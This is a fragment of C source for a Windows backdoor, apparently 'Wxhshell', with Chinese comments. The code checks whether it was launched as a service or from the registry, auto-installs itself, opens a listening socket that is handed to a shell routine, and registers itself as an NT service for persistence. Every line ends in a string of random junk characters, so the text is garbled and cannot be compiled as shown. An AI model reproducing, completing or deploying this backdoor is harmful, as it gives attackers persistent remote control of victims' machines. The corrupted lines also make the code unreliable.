} PROCESS_BASIC_INFORMATION; -4Dz98du
d^54mfgI
PROCNTQSIP NtQueryInformationProcess; +68age;dM
6qmV/DL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^GYVRD
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; POc<XLZB
Q;l%@)m+~
HANDLE hProcess; 7gOu|t
PROCESS_BASIC_INFORMATION pbi; 1Hhr6T^)
6yUThv.G#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %j@/Tx/
if(NULL == hInst ) return 0; wAu]U6!
}+S~Ah?(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *!%n`BR '
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sRBfLN2C
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :{S@KsPqE
@\gE{;a8
if (!NtQueryInformationProcess) return 0; 6)=;cc{Vr
6NyUGGRq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F5H*z\/={
if(!hProcess) return 0; Q~Nq5[
<2kv/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U7/
=|Z
SR.xI:}4
CloseHandle(hProcess); 3NZK$d=4
%*<Wf4P"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CUc ,
if(hProcess==NULL) return 0; \I6F;G6
I4ZbMnO
HMODULE hMod; 6^jrv [d
char procName[255]; ;D-k\kv
unsigned long cbNeeded; Omn$O>
hxJKYU^%m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;[Xf@xf
9X1vL
CloseHandle(hProcess); c*axw%Us
h7.jWJTo
if(strstr(procName,"services")) return 1; // 以服务启动 u f<%!=e
W:j9 KhvT
return 0; // 注册表启动 F#Pn]
} ">8oF.A^
Z/GSR$@lI
// 主模块 l| \ -d
int StartWxhshell(LPSTR lpCmdLine) ettBque
{ vd^Z^cpip
SOCKET wsl; XgUSJ*
BOOL val=TRUE; {Z!t:'x8
int port=0; 1)~9Eku6K
struct sockaddr_in door; n/BoK6g
xi<}n#
if(wscfg.ws_autoins) Install(); WSU/Z[\`H
c;t3I},
port=atoi(lpCmdLine); Q9p7{^m&E
{@x-T
if(port<=0) port=wscfg.ws_port; WHjJR
sGiK
S,.K
WSADATA data; :KRNLhWb
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I_?R(V[9
dF! B5(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 41.xi9V2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X?u=R)uG
door.sin_family = AF_INET; i(e=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4u0?[v[Hu
door.sin_port = htons(port); 6_rgRo&
JX>`N5s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $%&OaAg
closesocket(wsl);
{pre|r\
return 1; (B@\Dw8^
} Y)(w&E>1
-!T24/l
if(listen(wsl,2) == INVALID_SOCKET) { nnu#rtvZp}
closesocket(wsl); 6&LmR75C
return 1; XdlA)0S)
} +#UawYLJ
Wxhshell(wsl); [z_ztK1
WSACleanup(); xu]Kt+QnSk
)"tM[~e`
return 0; 8/P!i2o
/UR;,ts
} >*^SQ{9
Z;R/!Py.
// 以NT服务方式启动 0Nk!.gY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OYa9f[ $
{ |{%$x^KyJ
DWORD status = 0; *cXi*7|=
DWORD specificError = 0xfffffff; K-c>J
uv&,
l8%BRG
serviceStatus.dwServiceType = SERVICE_WIN32; 0,#n_"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; a>Aq/=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; weGsjy(b]N
serviceStatus.dwWin32ExitCode = 0; ;3Z?MQe"NQ
serviceStatus.dwServiceSpecificExitCode = 0; ^x(s!4d]
serviceStatus.dwCheckPoint = 0; I&^hG\D
serviceStatus.dwWaitHint = 0; W^;4t3eQf
gHXvmR"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )*.rl
if (hServiceStatusHandle==0) return; ]haQ#e}WH
'['x'G50
status = GetLastError(); g>b{hkIXg
if (status!=NO_ERROR) Az?^4 1r8
{ VS~+W=5}
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Kt+j
serviceStatus.dwCheckPoint = 0; 66MUrNW
serviceStatus.dwWaitHint = 0; PCH$)F4^
serviceStatus.dwWin32ExitCode = status; = 'e_9b\K
serviceStatus.dwServiceSpecificExitCode = specificError; KNF{NFk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )C0Iy.N-
return; uXA}" f2
} S]e;p\8$Z
(
YZ2&
serviceStatus.dwCurrentState = SERVICE_RUNNING; S,Qa\\~z
serviceStatus.dwCheckPoint = 0; qsQTJlq)
serviceStatus.dwWaitHint = 0; ][ 8`}ki 1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p gv, Su
} cxPO O#
ME5M;bz(
// 处理NT服务事件,比如:启动、停止 PyQ\O*
VOID WINAPI NTServiceHandler(DWORD fdwControl) G ,`]2'(@
{ &g8